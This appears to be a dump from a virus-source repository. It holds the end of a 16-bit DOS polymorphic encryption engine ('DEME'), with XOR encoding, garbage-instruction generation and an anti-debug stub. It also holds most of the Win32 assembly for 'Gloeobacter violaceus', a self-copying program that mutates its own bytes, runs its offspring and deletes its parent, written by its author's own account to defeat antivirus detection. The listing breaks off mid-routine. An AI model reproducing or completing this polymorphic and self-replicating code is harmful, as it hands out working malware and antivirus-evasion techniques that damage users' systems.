proc DEME_Encode near
push ax bx cx dx si
mov cx,[DEME_CodeLen]
mov dx,[DEME_Key]
@@1:
lodsw
xor ax,dx
stosw
add dx,[DEME_KeyAdd]
loop @@1
pop si dx cx bx ax
ret
endp DEME_Encode
proc DEME_ChooseRegs near
push ax
mov [DEME_MaskUsed],M_SP
mov al,M_INDEX
call DEME_GetAnyReg
mov [DEME_RegIndex],ax
mov al,M_ALL
call DEME_GetAnyReg
mov [DEME_RegCounter],ax
mov al,M_ALL
call DEME_GetAnyReg
mov [DEME_RegKey],ax
pop ax
ret
endp DEME_ChooseRegs
proc DEME_GenProlog near
push ax bx cx dx
call DEME_GenRandomSeq
call DEME_GenAntiWeb
mov bx,offset DEME_GenLoadIndex
mov cx,offset DEME_GenLoadKey
mov dx,offset DEME_GenLoadCounter
call DEME_MixRegs
call DEME_GenRandomSeq
call bx
call DEME_GenRandomSeq
call dx
call DEME_GenRandomSeq
call cx
call DEME_GenRandomSeq
pop dx cx bx ax
ret
endp DEME_GenProlog
proc DEME_GenAntiWeb
push ax bx cx
mov cl,[DEME_MaskUsed]
test cl,M_AX
je @@1
mov al,050h
stosb
call DEME_GenRandomSeq
@@1:
or [DEME_MaskUsed],M_AX
mov ax,41e4h
stosw
call DEME_GenRandomSeq
mov ax,1100010010001000b
stosw
call DEME_GenRandomSeq
mov ax,41e4h
stosw
call DEME_GenRandomSeq
mov ax,1100010000110000b
stosw
mov al,01110101b
stosw
mov bx,di
call DEME_GenRandomSeq
mov ax,4cb4h
stosw
mov ax,21cdh
stosw
call DEME_GenRandomSeq
mov ax,di
sub ax,bx
mov [es:bx-1],al
test cl,M_AX
je @@2
mov al,058h
stosb
call DEME_GenRandomSeq
@@2:
mov [DEME_MaskUsed],cl
pop cx bx ax
ret
endp DEME_GenAntiWeb
proc DEME_GenLoadIndex near
push ax
mov ax,[DEME_RegIndex]
or al,10111000b
stosb
mov [DEME_AddrBeg],di
stosw
pop ax
ret
endp DEME_GenLoadIndex
proc DEME_GenLoadKey near
push ax bx
call RND
mov bx,ax
mov [DEME_Key],ax
mov ax,[DEME_RegKey]
call DEME_GenLoadReg16
pop bx ax
ret
endp DEME_GenLoadKey
proc DEME_GenLoadCounter near
push ax bx
mov ax,[DEME_RegCounter]
mov bx,[DEME_CodeLen]
call DEME_GenLoadReg16
pop bx ax
ret
endp DEME_GenLoadCounter
proc DEME_GenCrypt near
push ax bx cx dx
mov [DEME_LoopAddr],di
call DEME_GenRandomSeq
call DEME_GenXorCmd
mov dx,offset DEME_GenIncIndex
mov bx,offset DEME_GenAddKey
mov cx,offset DEME_GenDecCounter
call DEME_MixRegs
call DEME_GenRandomSeq
call bx
call DEME_GenRandomSeq
call dx
call DEME_GenRandomSeq
call cx
call DEME_GenRandomSeq
call DEME_GenCloseCycle
call DEME_GenRandomSeq
pop dx cx bx ax
ret
endp DEME_GenCrypt
proc DEME_GenXorCmd near
push ax bx
mov al,2eh
stosb
mov al,00110001b
stosb
mov bx,[DEME_RegIndex]
cmp bx,R_BX
jne @@1
mov al,00000111b
@@1:
cmp bx,R_SI
jne @@2
mov al,00000100b
@@2:
cmp bx,R_DI
jne @@3
mov al,00000101b
@@3:
mov bx,[DEME_RegKey]
shl bl,3
or al,bl
stosb
pop bx ax
ret
endp DEME_GenXorCmd
proc DEME_GenIncIndex near
push ax bx
mov bx,[DEME_RegIndex]
call RND
and ax,3
or al,al
jne @@1
mov al,01000000b
or al,bl
stosb
stosb
jmp @@Exit
@@1:
dec al
jne @@2
mov al,10000001b
stosb
mov al,11000000b
or al,bl
stosb
mov ax,2
stosw
jmp @@Exit
@@2:
dec al
jne @@3
mov al,10000001b
stosb
mov al,11101000b
or al,bl
stosb
mov ax,-2
stosw
jmp @@Exit
@@3:
call DEME_GetUnusedReg
mov bx,2
call DEME_GenLoadReg16
mov bx,[DEME_RegIndex]
mov bh,al
shl bh,3
mov al,00000001b
stosb
mov al,11000000b
or al,bl
or al,bh
stosb
@@Exit:
pop bx ax
ret
endp DEME_GenIncIndex
proc DEME_GenAddKey near
push ax bx
mov bx,[DEME_RegKey]
call RND
mov [DEME_KeyAdd],ax
push ax
call RND
xor ah,ah
test al,00000100b
je @@1
neg [DEME_KeyAdd]
mov ah,00101000b
@@1:
mov al,10000001b
stosb
mov al,11000000b
xor al,ah
or al,bl
stosb
pop ax
stosw
@@Exit:
pop bx ax
ret
endp DEME_GenAddKey
proc DEME_GenDecCounter near
push ax bx
mov bx,[DEME_RegCounter]
call RND
and ax,3
or al,al
jne @@1
mov al,01001000b
or al,bl
stosb
jmp @@Exit
@@1:
dec al
jne @@2
mov al,10000001b
stosb
mov al,11000000b
or al,bl
stosb
mov ax,-1
stosw
jmp @@Exit
@@2:
dec al
jne @@3
mov al,10000001b
stosb
mov al,11101000b
or al,bl
stosb
mov ax,1
stosw
jmp @@Exit
@@3:
call DEME_GetUnusedReg
mov bx,1
call DEME_GenLoadReg16
mov bx,[DEME_RegCounter]
mov bh,al
shl bh,3
mov al,00101001b
stosb
mov al,11000000b
or al,bl
or al,bh
stosb
@@Exit:
pop bx ax
ret
endp DEME_GenDecCounter
proc DEME_GenCloseCycle near
push ax bx cx dx
call RND
and ax,3
shl ax,1
mov bx,ax
call [DEME_Clos1Tbl+bx]
call RND
test al,1
je @@1
mov al,10011100b
stosb
call DEME_GenRandomSeq
mov al,10011101b
stosb
@@1:
call [DEME_Clos2Tbl+bx]
call DEME_GenRandomSeq
call DEME_ClosJmp
call DEME_GenRandomSeq
call DEME_ClosJmpShort
call DEME_GenRandomSeq
pop dx cx bx ax
ret
endp DEME_GenCloseCycle
DEME_Clos1Tbl dw offset DEME_Clos11
dw offset DEME_Clos12
dw offset DEME_Clos13
dw offset DEME_Clos14
DEME_Clos2Tbl dw offset DEME_Clos21
dw offset DEME_Clos22
dw offset DEME_Clos21
dw offset DEME_Clos21
proc DEME_Clos11 near
push ax bx
mov al,10000001b
stosb
mov ax,[DEME_RegCounter]
or al,11111000b
stosb
xor ax,ax
stosw
pop bx ax
ret
endp DEME_Clos11
proc DEME_Clos12 near
push ax bx
mov al,10000001b
stosb
mov ax,[DEME_RegCounter]
or al,11111000b
stosb
xor ax,ax
inc ax
stosw
pop bx ax
ret
endp DEME_Clos12
proc DEME_Clos13 near
push ax bx
mov al,00001001b
stosb
mov ax,[DEME_RegCounter]
mov ah,11000000b
or ah,al
shl al,3
or al,ah
stosb
pop bx ax
ret
endp DEME_Clos13
proc DEME_Clos14 near
push ax bx
mov al,11110111b
stosb
mov ax,[DEME_RegCounter]
or al,11000000b
stosb
xor ax,ax
dec ax
stosw
pop bx ax
ret
endp DEME_Clos14
proc DEME_Clos21 near
push ax
mov al,01110100b
stosb
mov [DEME_JmpShort],di
stosb
pop ax
ret
endp DEME_Clos21
proc DEME_Clos22 near
push ax
mov al,01110010b
stosb
mov [DEME_JmpShort],di
stosb
pop ax
ret
endp DEME_Clos22
proc DEME_ClosJmp near
push ax
mov al,11101001b
stosb
mov ax,[DEME_LoopAddr]
sub ax,di
dec ax
dec ax
stosw
pop ax
ret
endp DEME_ClosJmp
proc DEME_ClosJmpShort near
push ax bx
mov ax,di
mov bx,[DEME_JmpShort]
sub ax,bx
dec ax
mov [es:bx],al
pop bx ax
ret
endp DEME_ClosJmpShort
proc DEME_GenEpilog near
push ax bx dx
call RND
and ax,3fh
inc ax
@@1:
call DEME_GenTrash
dec ax
jnz @@1
mov bx,[DEME_AddrBeg]
mov dx,di
sub dx,[DEME_BuffOffs]
add dx,[DEME_Origin]
mov [es:bx],dx
pop dx bx ax
ret
endp DEME_GenEpilog
proc DEME_MixRegs near
push ax
call RND
test al,1
je @@1
xchg bx,cx
@@1:
test al,2
je @@2
xchg cx,dx
@@2:
test al,4
je @@3
xchg bx,dx
@@3:
pop ax
ret
endp DEME_MixRegs
proc Randomize near
push ax
in ax,40h
mov [seed1],ax
pop ax
ret
endp Randomize
proc RND near
push dx
mov ax,[seed]
xor ax,[seed1]
mul ax
mov al,dl
mov [seed],ax
pop dx
ret
endp RND
;ƒ¥­¥à æ¨ï ª®¬ ­¤
proc DEME_GenRandomSeq near
;ƒ¥­¥à¨â ªãçã ¬ãá®à 
push ax
call RND
and ax,0fh
inc ax
@@1:
call DEME_GenTrash
dec ax
jnz @@1
pop ax
ret
endp DEME_GenRandomSeq
proc DEME_GenTrash near
;ƒ¥­¥à¨â '¬ãá®à­ãî' ª®¬ ­¤ã
push ax bx
call RND
and ax,3
shl ax,1
mov bx,ax
call [DEME_TrashTbl+bx]
pop bx ax
ret
endp DEME_GenTrash
DEME_TrashTbl dw offset DEME_GenCmd1
dw offset DEME_GenCmd2
dw offset DEME_GenCmd3
dw offset DEME_GenCmd4
proc DEME_GenCmd1 near
;ƒ¥­¥à¨â 1-¡ ©â®¢ãî «¥¢¥©èãî ª®¬ ­¤ã ¨§¢à é îéãî AX
ret
push ax bx
test [DEME_MaskUsed],M_AX
jne @@Exit
call RND
and ax,7
mov bx,ax
mov al,[DEME_Cmds1+bx]
stosb
@@Exit:
pop bx ax
ret
endp DEME_GenCmd1
DEME_Cmds1 db 00110111b ;aaa
db 00111111b ;aas
db 10011000b ;cbw
db 00100111b ;daa
db 00101111b ;das
db 01001000b ;dec ax
db 01000000b ;inc ax
db 10011111b ;lahf
proc DEME_GenCmd2 near
;ƒ¥­¥à¨â 1-®¯¥à ­¤­ãî ª®¬ ­¤ã
push ax bx
call RND
and ax,0fh
mov bx,ax
shl bx,1
mov al,[DEME_Cmds2+bx]
stosb
mov bl,[DEME_Cmds2+bx+1]
call DEME_GetUnusedReg
or al,bl
stosb
pop bx ax
ret
endp DEME_GenCmd2
DEME_Cmds2 db 0d1h,11000000b ;rol
db 0d1h,11001000b ;ror
db 0d1h,11010000b ;rcl
db 0d1h,11011000b ;rcr
db 0d1h,11100000b ;shl
db 0d1h,11101000b ;shr
db 0ffh,11000000b ;inc
db 0ffh,11001000b ;dec
db 0f7h,11010000b ;not
db 0f7h,11011000b ;neg
db 0d3h,11000000b ;rol cl
db 0d3h,11001000b ;ror cl
db 0d3h,11010000b ;rcl cl
db 0d3h,11011000b ;rcr cl
db 0d3h,11100000b ;shl cl
db 0d3h,11101000b ;shr cl
proc DEME_GenCmd3 near
;ƒ¥­¥à¨â 2-å ®¯¥à ­¤­ãî ª®¬ ­¤ã á ­¥¯®á।á⢥­­ë¬ §­ ç¥­¨¥¬
push ax bx
mov al,[DEME_MaskUsed]
push ax
or [DEME_MaskUsed],M_AX ;„«ï AX ª®¤ë ª®¬ ­¤ ¤à㣨¥
call RND
xor ah,ah
mov bl,9
div bl
mov bl,ah
xor bh,bh
shl bx,1
mov al,[DEME_Cmds3+bx]
stosb
mov bl,[DEME_Cmds3+bx+1]
call DEME_GetUnusedReg
or al,bl
stosb
call RND
stosw
pop ax
mov [DEME_MaskUsed],al
pop bx ax
ret
endp DEME_GenCmd3
DEME_Cmds3 db 081h,11000000b ;add
db 081h,11010000b ;adc
db 081h,11101000b ;sub
db 081h,11110000b ;xor
db 0f7h,11000000b ;test
db 081h,11011000b ;sbb
db 081h,11001000b ;or
db 081h,11111000b ;cmp
db 081h,11100000b ;and
; db 0c7h,11000000b ;mov
proc DEME_GenCmd4 near
;ƒ¥­¥à¨â 2-å ®¯¥à ­¤­ãî ª®¬ ­¤ã
push ax bx cx dx
call RND
xor ah,ah
mov bl,10
div bl
mov bl,ah
xor bh,bh
mov al,[DEME_Cmds4+bx]
stosb
call DEME_GetUnusedReg
shl al,3
mov dl,al
call RND
and al,00000111b
or al,11000000b
or al,dl
stosb
pop dx cx bx ax
ret
endp DEME_GenCmd4
DEME_Cmds4 db 003h ;add
db 013h ;adc
db 02bh ;sub
db 033h ;xor
db 085h ;test
db 01bh ;sbb
db 00bh ;or
db 03bh ;cmp
db 023h ;and
db 08bh ;mov
proc DEME_GetUnusedReg near
;‚®§¢à é ¥â ­¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà (¤«ï ¬ãá®à )
push bx
mov bl,[DEME_MaskUsed]
mov al,M_ALL
call DEME_GetAnyReg
mov [DEME_MaskUsed],bl
pop bx
ret
endp DEME_GetUnusedReg
proc DEME_GetAnyReg near
;‚®§¢à é ¥â ­¥¨á¯®«ì§ã¥¬ë© ॣ¨áâà ¨§ ®¯à¥¤¥«¥­­®© £à㯯ë
push bx cx
mov bl,al
not bl
or bl,[DEME_MaskUsed]
call RND
and ax,7
mov cl,al
mov ah,1
rol ah,cl
@@11:
test ah,bl
je @@12
inc al
and al,7
rol ah,1
jmp @@11
@@12:
or [DEME_MaskUsed],ah
and ax,7
pop cx bx
ret
endp DEME_GetAnyReg
proc DEME_GenLoadReg16 near
;ƒ¥­¥à¨â § £à㧪ã ॣ¨áâà 
;ax - ª ª®£®
;bx - 祬
push ax bx
and al,00000111b
or al,10111000b
stosb
mov ax,bx
stosw
pop bx ax
ret
endp DEME_GenLoadReg16
Seed dw 0
Seed1 dw 0
DEME_MaskUsed db 0
DEME_RegIndex dw 0
DEME_RegCounter dw 0
DEME_RegKey dw 0
DEME_Origin dw 0
DEME_BuffOffs dw 0
DEME_LoopAddr dw 0
DEME_JmpShort dw 0
DEME_CodeLen dw 0
DEME_Key dw 0
DEME_KeyAdd dw 0
DEME_AddrBeg dw 0
POPSTATE

BIN
Engines/Virus.Win32.Dina.7z Normal file

Binary file not shown.

Binary file not shown.

BIN
Engines/Virus.Win32.Dme.7z Normal file

Binary file not shown.

BIN
Engines/Virus.Win32.Expo.7z Normal file

Binary file not shown.

File diff suppressed because it is too large Load Diff

673
Engines/Virus.Win32.Gv.ASM Normal file
View File

@ -0,0 +1,673 @@
Gloeobacter violaceus
by Second Part To Hell/[rRlf]
www.spth.de.vu
spth@priest.com
written in May 2005
in Austria
I proudly present my very first real Win32 Project.
Before anything else I have to say that this is neighter a real virus
nor a real engine. It is a program emulating the nature's mutations.
I would descripe it as a primitive artificial life form.
How does it work?
1) When executed, it get's the own filename and the parent's filename
2) It sleeps for 1500 + (0..4095) milliseconds
3) It copies itself to a random filename in the current directory
4) 1/4 it mutates:
- Point Mutation: ~68.75%
- Chromosome Mutation:
* Chromosome Inversation
* Chromosome Translocation
* Chromosome Delection
* Chromosome Dublication
* Chromosome Inseration
5) It executes the new file
6) With a chance of ~50% it jmps to 2
7) It deletes the partent's file
8) It exits it's own process
Where the hell can you see a primitive artificial life form?
Well, we can also say, that the project behaves like that:
1) Birth of the lifeform
2) Growing up until it can replicate itself
3/4) Replicate - there may happen mistakes while replicating
5) Birth of the child
6) Maybe it makes another child?!
7) Give me more space - Remove the corpse of the parent
8) Death of the lifeform
About the name: I've thought long time about a suitable name,
and I think I got a right one: 'Gloeobacter violaceus' are very simple
bacteria, and also one of the very first life form on our world.
With this code I've (more than) partly realized my idea, which I've
written down in the article "Code Evolution: Follow nature's example", and
I think I've succeded.
Now let me write some lines about it's behaviour when it's executed:
First I have to say that every mutation may kill the children. But nevermind,
the same also happens in nature. As I have tested it very well, I've been faced
with some strange mutations. Let me tell you some: The filename of the child
was not .exe but something else; sometimes the DOS-Box opened (when the MZ was
deleted or changed, Windows wanted to run it as a .COM); and the maybe stranges
thing ever happend while testing was the creation of two file called 'v' and ' '.
One is 1kB and one is 500kB, I can neighter read, overwrite, delete or do anything
else with them. And furthermore they have no arguments as creation-time. They are
just lost space at my HD, but who cares, I dont need these 501kB :)
My intention in writing this code was, beside of creating an artificial life form,
making a technique, which CAN NOT be fully detect by AVs. Reason: Every BIT (!)
can be changed, and there is no way to find out, how the whole code is changed.
As even the body of the code may be changed, this could also be called metamorphism.
But I would not call it 'metamorph', as everything is random (the code don't 'know'
what it does).
Thanks goes to BlueOwl and Dr3f, who helped me with some problems with Win32 APIs.
For compiling:
Delete the into (this!) and use 'flat assembler 1.56'.
;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Gloeobacter violaceus ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
include '..\FASM\INCLUDE\win32ax.inc'
.data
systemtime_struct: ; for random number
dw 0 ; wYear
dw 0 ; wMonth
dw 0 ; wDayOfWeek
dw 0 ; wDay
dw 0 ; wHour
dw 0 ; wMinute
dw 0 ; wSecond
rnd: dw 0 ; wMilliseconds
rand_name_buffer: ; The random-engine fills this buffer with 8 random (0-255) bytes
times 8 db 0
rnd_file_name: ; This will contain the filename of the new child
times 8 db 0
db '.exe',0
current_file_value: ; Will contain the current running filename
times 8 db 0
db '.exe',0
parent_file dd 0x0 ; Buffer for pointer to the parent-file-name
current_file dd 0x0 ; Buffer for pointer to the current running file
file_handle dd 0x0
file_size dd 0x0
map_pointer dd 0x0
map_handle dd 0x0
change_byte_offset dd 0x0
change_byte_value db 0x0
StartUp_struct:
StartUp_struct_cb dd 0
StartUp_struct_lpReserved dd 0
StartUp_struct_lpDesktop dd 0
StartUp_struct_lpTitle dd 0
StartUp_struct_dwX dd 0
StartUp_struct_dwY dd 0
StartUp_struct_dwXSize dd 0
StartUp_struct_dwYSize dd 0
StartUp_struct_dwXCountChars dd 0
StartUp_struct_dwYCountChars dd 0
StartUp_struct_dwFillAttribute dd 0
StartUp_struct_dwFlags dd 0
StartUp_struct_wShowWindow dw 0
StartUp_struct_cbReserved2 dw 0
StartUp_struct_lpReserved2 dd 0
StartUp_struct_hStdInput dd 0
StartUp_struct_hStdOutput dd 0
StartUp_struct_hStdError dd 0
ProcessInfo_Struct:
PROCESS_INFORMATION_hProcess dd 0
PROCESS_INFORMATION_hThread dd 0
PROCESS_INFORMATION_dwProcessId dd 0
PROCESS_INFORMATION_dwThreadId dd 0
.code
start:
invoke GetCommandLine ; Get the name of the current file
cmp byte [eax], '"' ; Compare if first byte is ". As GetCommandLine could be ["filename"] or [filename]
jne got_my_name ; If no ", then we already have it
;;; FIRST EXECUTION ;;;
inc eax ; Delete first "
mov ebx, eax ; Save the pointer
get_my_name:
inc ebx ; Get next byte
cmp byte [ebx], '.' ; Compare the value with a dot
jne get_my_name ; If not equal, get next letter of the filename
add ebx, 4 ; Get the pointer of the second "
mov byte [ebx], 0x0 ; Del the second "
sub ebx, 4 ; Go back to the dot
get_my_name2:
dec ebx ; Previous letter
cmp byte [ebx], '\' ; Check if it's the end of the path (=filestart-1)
jne get_my_name2 ; if not, get another letter
inc ebx ; delete the '\'
mov eax, ebx ; eax=ebx=pointer to start of currentfilename
;;; END FIRST EXECUTION ;;;
got_my_name:
mov byte [eax+12], 0x0 ; make a NULL-terminated string
mov [current_file], eax ; Save the filename of the current running process
add eax, 13 ; Point to the first letter of the parent
mov [parent_file], eax ; Save the pointer to the parent
call random_number ; Get random number
mov ecx, [rand_name_buffer] ; Move a random number to ecx
and ecx, 1 ; Random number between 0 and 1: New counter
add ecx, 1 ; ecx++ (counter: 1 or 2 childs)
create_next_child:
push ecx ; Save the counter
call random_number ; Renew random numbers
mov ebp, 1500 ; ebp=1500
mov eax, [rand_name_buffer] ; eax=random number
and eax, 4095 ; eax=0000 0000 0000 0000 0000 ???? ???? ????
add ebp, eax ; ebp=1500+(0..4095)
invoke Sleep, ebp ; Sleep 1500+(0..4095) ms
call get_n_save_random_name ; Get a random filename
invoke CopyFile, [current_file], rnd_file_name, 0 ; Copy current file to new file with random name
call random_number ; Get new random number
mov ax, [rand_name_buffer] ; Get them from buffer
xor ah, al ; compain 2 bytes
and ah, 3 ; ???? ???? -> 0000 00??
cmp ah, 2 ; ah=0000 0010?
je evolution ; If yes -> evolution
noevolution: ; Code continues here after mutation, if there where any
call birthofchild ; Make the child living!
pop ecx ; Another child?
loop create_next_child ; If counter>1, create new child!
cmp [parent_file], 0x0 ; Compare if parent_file = 0 (first execution?)
je Death ; If so, no parent killing, as there is no parent!
invoke DeleteFile, [parent_file] ; Kill the parent! (sorry mum, sorry dad :D)
Death:
invoke ExitProcess, 0 ; Close current process: Death! :)
birthofchild:
mov esi, [current_file] ; esi=pointer to current file name
mov edi, current_file_value ; edi=pointer to buffer for current file name
mov ecx, 8 ; counter: 8 bytes to copy
rep movsb ; Move ecx byte from [esi] to [edi]
mov byte [current_file_value-1], 0x20 ; Delete the 0x0
invoke CreateProcess, 0x0, rnd_file_name, 0x0, 0x0, FALSE, 0x0, 0x0, 0x0, StartUp_struct, ProcessInfo_Struct ; Create child-process
mov byte [current_file_value-1], 0x0 ; Reset the 0x0
ret
random_number:
pop edi ; Get value of stack
push edi ; Back to the stack
mov ecx, 8 ; ecx=counter
mov dh, 0xAA ; dh: changes in the function and makes the number little bit more random
mov dl, 0x87 ; same as dh
random_name_loop:
push dx ; Save dx at stack
push ecx ; Save counter at stack
call random_byte ; Random number in al
pop ecx ; get counter
xor al, cl ; Counter influences pseudo random number
pop dx ; Get dx
push ecx
xor dx, cx ; Counter influences influncing number
add dh, al ; Random number influences influencing number
sub dl, al ; Same as dh
neg dl ; Neg dl
xor dl, dh ; dl XOR dh -> more variability
xor al, dl ; random number changes
sub ax, di ; value of stack influences random number
add ax, dx ; ax+dx
mov dl, [rand_name_buffer+ecx-2]
mov dh, [rand_name_buffer+ecx-3] ; dx=???? ???? ????? ?????
sub al, dl ; al-=dl
add al, dh ; al+=dh
mov ah, dl ; ah=dl
push ax ; AX to stack
mov cl, 1 ; cl=1
or dh, cl ; dh is at least 1 (to reduce chance of result=zero)
mul dh ; AL=AX*DH
pop cx ; CX=old AX
push cx ; To stack again
add cl, al ; CL+=AL
sub cl, ah ; CL-=AH
xchg al, cl ; AL=CL
mov cx, bp ; cx=bp
mul cl ; AX=AL*CL
neg ah ; NEG AH
xor al, ah ; xor AL and AH
pop cx ; get old AX
sub cl, al ; SUB
add cl, dl ; cl+=old random number
sub al, cl ; al ~=random :)
pop ecx ; Get counter
mov [rand_name_buffer+ecx-1], al ; Save random letter
loop random_name_loop
ret
random_name:
call random_number ; Get 8 random bytes
mov ecx, 8 ; counter=8, as we want to do it 8 times
changetoletter:
mov al, [rand_name_buffer+ecx-1] ; Get a letter
mov bl, 10 ; BL=10
xor ah, ah ; AX: 0000 0000 ???? ????
div bl ; AL=rnd/10=number between 0 and 25
add al, 97 ; Add 97 for getting lowercase letters
mov [rnd_file_name+ecx-1], al ; Save random letter
loop changetoletter
ret
random_byte:
invoke GetSystemTime, systemtime_struct ; Get first number
mov ebx, [rnd-2] ; ebx=number
add ebx, edx ; Making it pseudo-independent of time
sub ebx, ecx
xor ebx, eax
xchg bl, bh
pop ecx
push ecx
neg ebx
xor ebx, ecx ; ebx=pseudo-indepentend number
invoke GetTickCount ; Get second number
xor eax, ecx ; eax=number
neg ax ; Making it pseudo-independent of time
xor eax, edx
xor ah, al
sub eax, ebp
add eax, esi ; eax=pseudo-indepentend number
xor eax, ebx ; Compain the numbers -> eax
mov ebx, eax ; Save eax
shr eax, 8 ; e-part -> ax
xor ax, bx
xor al, ah ; al=number
ret
get_n_save_random_name:
mov ebp, 12 ; ebp influences the pseudo-random-number engine too
call random_name ; Get a random name
ret
evolution:
; invoke MessageBox, 0x0, rnd_file_name, "Code Evolution", 0x0
invoke CreateFile, rnd_file_name, 0xC0000000 ,0x1, 0x0, 0x3, 0x0, 0x0 ; Open the new created file
mov [file_handle], eax ; Save the file handle
invoke GetFileSize, [file_handle], file_size ; Get the size of the file
mov [file_size], eax ; Low Filesize returned in eax
invoke CreateFileMapping, [file_handle], 0x0, PAGE_READWRITE, 0x0, [file_size], 0x0 ; Create a Map
mov [map_handle], eax ; Save the Map handle
invoke MapViewOfFile, [map_handle], FILE_MAP_WRITE, 0x0, 0x0, [file_size] ; Map view of file
mov [map_pointer], eax ; Save the pointer of file
call random_number ; Get a random number
mov al, [rand_name_buffer] ; Radom number in al
; Chances:
; Point-Mutation: ~50%+18.75%=~68.75%
; Each Chromosome Mutation: ~6.25%
and al, 1 ; al=0000 000?
cmp al, 1 ; Compare with 1
je pointmutation ; If al=1 then jmp pointmutation (change: ~50%)
mov al, [rand_name_buffer+4] ; al=new random number
and al, 7 ; al=0000 0???
cmp al, 0 ; Compare al with 0
je chrom_inversation ; If al=0 make Chromosome Inversation
cmp al, 1 ; Compare al with 1
je chrom_translocation ; If al=1 make Chromosome Translocation
cmp al, 2 ; Compare al with 2
je chrom_delection ; If al=2 make Chromosome Delection
cmp al, 3 ; Compare al with 3
je chrom_dublication ; If al=2 make Chromosome Dublication
cmp al, 4 ; Compare al with 4
je chrom_inseration ; If al=4 make Chromosome Inseration
jmp pointmutation ; Otherwise do Pointmutation (Chance ~18.75%)
endofmutation:
invoke UnmapViewOfFile, [map_pointer] ; Unmap View of File
invoke CloseHandle, [map_handle] ; Close Map
invoke CloseHandle, [file_handle] ; Close File
jmp noevolution
pointmutation: ; Mutation: Pointmutation
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=File size
cmp eax, ebx ; comparee Random Number with File Size
jg pointmutation ; If RN>Filesize then get new random number (=byte to change)
add eax, [map_pointer] ; eax=Byte to change in memory
mov [change_byte_offset], eax ; Save the offset
mov ah, [eax] ; Get the value of the byte
mov [change_byte_value], ah ; Save it
mov cl, [rand_name_buffer+5] ; cl=???? ????
and cl, 7 ; cl=0000 0???
mov al, 1 ; al=0000 0001
shl al, cl ; AL= ? <- |0|0|0|0| |0|0|0|1| -- ?
mov esi, [change_byte_offset] ; esi=offset of byte to change
xor [esi], al ; XOR byte with AL
; invoke MessageBox, 0x0, esi, "Point Mutation", 0x0
jmp endofmutation
chrom_inversation: ; Mutation: Chromosome Mutation - Inversation
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 16 ; ebx-=16 (As we may change two 8 byte parts)
cmp eax, ebx ; comparee Random number with Filesize-16
jg chrom_inversation ; If RN>Filesize-16 then get new random number (=place to change)
add eax, [map_pointer] ; Add the offset of file memory
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
xor ecx, ecx ; ecx=0
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
mov esi, [change_byte_offset] ; ESI=Offset of part 1
mov edi, rand_name_buffer ; EDI=Offset of Buffer
rep movsb ; part 1 to buffer: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=Counter (start of part 2)
add eax, [change_byte_offset] ; eax+=Offset in memory of part 2
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=Counter
mov esi, eax ; ESI=Offset of part 2
mov edi, [change_byte_offset] ; EDI=Offset of part 1
rep movsb ; part 2 to part 1: REP MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
xor ecx, ecx ; ecx=0
mov cl, [change_byte_value] ; ecx=Counter
mov eax, [change_byte_offset] ; eax=Start of part 1
add eax, ecx ; eax=Start of part 2
mov esi, rand_name_buffer ; ESI=Offset of buffer
mov edi, eax ; EDI=Offset of part 2
rep movsb ; buffer to part 1
; invoke MessageBox, 0x0, "Inversation", "Chromosome Mutation", 0x0
jmp endofmutation ; Finished Inversation!
chrom_translocation:
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
cmp eax, ebx ; Compare Random number with Filesize-8
jg chrom_translocation ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; Add the offset of file memory
mov [change_byte_offset], eax ; Save the -to-be-changed- offset
xor ecx, ecx ; ecx=0
mov cx, [rand_name_buffer+2] ; ecx=0000 0000 0000 0000 ???? ???? ???? ????
and cx, 7 ; ecx=0000 0000 0000 0000 0000 0000 0000 0???
mov [change_byte_value], cl ; Save cl (=How many bytes to change)
mov esi, [change_byte_offset] ; ESI=Offset of source
mov edi, rand_name_buffer ; EDI=Offset of Buffer
rep movsb ; Code-Part to buffer: MOVS m8,m8 Move (E)CX bytes from DS:[(E)SI] to ES:[(E)DI]
mov ecx, [file_size] ; eax=filesize
add ecx, [map_pointer] ; eax=End of file in memory
sub ecx, [change_byte_offset] ; eax=Bytes after Change_byte_offset
mov esi, [change_byte_offset] ; esi=Pointer to change byte
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
add esi, eax ; esi=Pointer to end of changing in memory
mov edi, [change_byte_offset] ; edi=Offset of changing
rep movsb
chrom_trans_loop: ; Get a offset, where to save the part
call random_number ; Renew the random numbers
xor eax, eax ; eax=0
mov ax, [rand_name_buffer] ; eax=0000 0000 0000 0000 ???? ???? ???? ????
mov ebx, [file_size] ; ebx=Filesize
sub ebx, 8 ; ebx-=8 (As we may change 8 byte)
cmp eax, ebx ; Compare Random number with Filesize-8
jg chrom_trans_loop ; If RN>Filesize-8 then get new random number (=place to change)
add eax, [map_pointer] ; Add the offset of file memory
mov [change_byte_offset], eax ; Save offset of changing
mov ecx, [map_pointer] ; ecx=Start of file in memory
add ecx, [file_size] ; ecx=End of file in memory
sub ecx, [change_byte_offset] ; ecx=Bytes after change-place
xor eax, eax ; eax=0
mov al, [change_byte_value] ; eax=number of bytes to change
sub ecx, eax ; ecx-=number of bytes to change
mov esi, [change_byte_offset] ; esi=Offset of changing
mov edi, [change_byte_offset] ; edi=offset of changing
add edi, eax ; edi=Offset after changing
chrom_trans_buffer: ; Delete the Code-Part
mov al, [esi+ecx] ; al=Value to Replace
